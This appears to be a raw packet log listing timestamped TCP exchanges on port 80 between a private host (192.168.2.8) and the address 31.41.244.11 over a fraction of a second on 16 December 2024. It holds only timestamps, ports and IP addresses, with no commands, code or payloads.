Dec 16, 2024 13:16:13.187592983 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.187657118 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.187690020 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.187746048 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.188587904 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.188644886 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.188683987 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.188731909 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.189543962 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.189600945 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.189645052 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.189716101 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.190773964 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.190834045 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.331257105 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.331281900 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.331474066 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.331568956 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.331648111 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.331676960 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.331731081 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.332417011 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.332463980 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.332536936 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.332585096 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.333410978 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.333457947 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.333518028 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.333561897 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.334439039 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.334490061 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.334522009 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.334578037 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.335344076 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.335400105 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.335427999 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.335472107 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.336307049 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.336358070 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.336394072 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.336441040 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.337239027 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.337291956 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.337321043 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.337371111 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.338406086 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.338463068 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.338531971 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.338582039 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.339171886 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.339222908 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.339301109 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.339369059 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.340173960 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.340234995 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.340423107 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.340646982 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.341167927 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.341291904 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.341346025 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.342065096 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.342119932 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.342195034 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.343028069 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.343090057 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.343162060 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.343216896 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.344059944 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.344120979 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.344130039 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.344172955 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.344969988 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.345035076 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.345065117 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.345108032 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.345928907 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.346000910 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.346080065 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.346662045 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.346949100 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.347002983 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.347033978 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.347083092 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.347868919 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.347927094 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.347956896 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.348005056 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.348831892 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.348886967 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.348934889 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.348982096 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.349786043 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.349834919 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.349886894 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.349932909 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.350764036 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.350816965 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.350848913 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.350898981 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.351716042 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.351773024 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.351825953 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.351875067 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.352710962 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.352768898 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.352826118 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.352874041 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.353662968 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.353724957 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.353760958 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.353816032 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.354639053 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.354703903 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.354732990 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.354782104 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.355598927 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.355660915 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.355696917 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.355746031 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.356555939 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.356671095 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.356746912 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.357541084 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.357639074 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.357652903 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.357686996 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.358520031 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.358581066 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.358650923 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.358705044 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.359474897 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.359515905 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.359528065 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.359572887 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.360483885 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.360526085 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.360644102 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.360711098 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.361382961 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.361433029 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.361437082 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.361536980 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.362359047 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.362415075 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.362476110 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.362546921 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.363332987 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.363375902 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.363378048 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.363415956 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.364303112 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.364350080 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.364409924 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.364460945 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.365303993 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.365356922 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.365384102 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.365449905 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.366247892 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.366302013 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.366328955 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.366384983 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.367197990 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.367252111 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.367279053 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.367326975 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.368138075 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.368259907 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.368310928 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.369112015 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.369167089 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.369223118 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.369528055 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.370120049 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.370165110 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.370193005 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.370251894 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.371052980 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.371108055 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.371150970 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.371195078 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.372020006 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.372092009 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.372142076 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.372183084 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.372987986 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.373045921 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.373090029 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.373111010 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.373939037 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.373987913 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.374056101 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.374105930 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.374911070 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.374958992 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.375015020 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.375058889 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.375890017 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.375933886 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.375981092 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.376071930 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.376812935 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.376888990 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.376943111 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.376997948 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.377827883 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.377878904 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.377923012 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.377971888 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.378820896 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.378864050 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.378946066 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.379013062 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.379764080 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.379812002 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.379885912 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.379935026 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.380745888 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.380801916 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.380816936 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.380886078 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.381669044 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.381716013 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.523196936 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.523221970 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.523435116 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.523577929 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.523632050 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.523757935 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.523816109 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.524549007 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.524604082 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.524672031 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.524718046 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.525527000 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.525767088 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.525836945 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.526484966 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.526563883 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.526614904 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.527445078 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.527501106 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.527508974 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.527558088 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.528433084 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.528512001 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.528563023 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.529370070 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.529424906 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.529467106 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.529519081 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.530322075 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.530457973 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.530508995 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.531325102 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.531378984 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.531404972 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.531455040 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.532288074 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.532341003 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.532382011 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.532433033 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.533246040 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.533301115 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.533318043 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.533366919 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.534214020 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.534307003 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.534364939 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.535172939 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.535229921 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.535300016 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.535351038 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.536124945 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.536176920 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.536216021 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.536266088 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.537130117 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.537163973 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.537194014 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.537225962 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.538083076 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.538207054 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.538265944 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.539016962 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.539077044 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.539118052 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.539165974 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.539999008 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.540055037 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.540096045 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.540148973 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.540956974 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.541008949 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.541044950 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.541091919 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.541930914 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.541981936 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.541982889 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.542042017 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.542900085 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.542953968 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.542994976 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.543044090 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.543881893 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.543937922 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.543976068 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.544029951 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.544806004 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.544888973 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.544925928 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.544971943 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.545784950 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.545847893 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.545887947 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.545979023 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.546750069 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.546806097 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.546868086 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.547137976 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.547730923 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.547805071 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.547841072 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.547913074 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.548698902 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.548764944 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.548799992 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.548842907 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.549665928 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.549730062 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.549757004 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.549804926 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.550649881 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.550877094 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.550934076 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.551593065 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.551650047 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.551718950 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.551769972 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.552551985 CET	80	49711	31.41.244.11	192.168.2.8
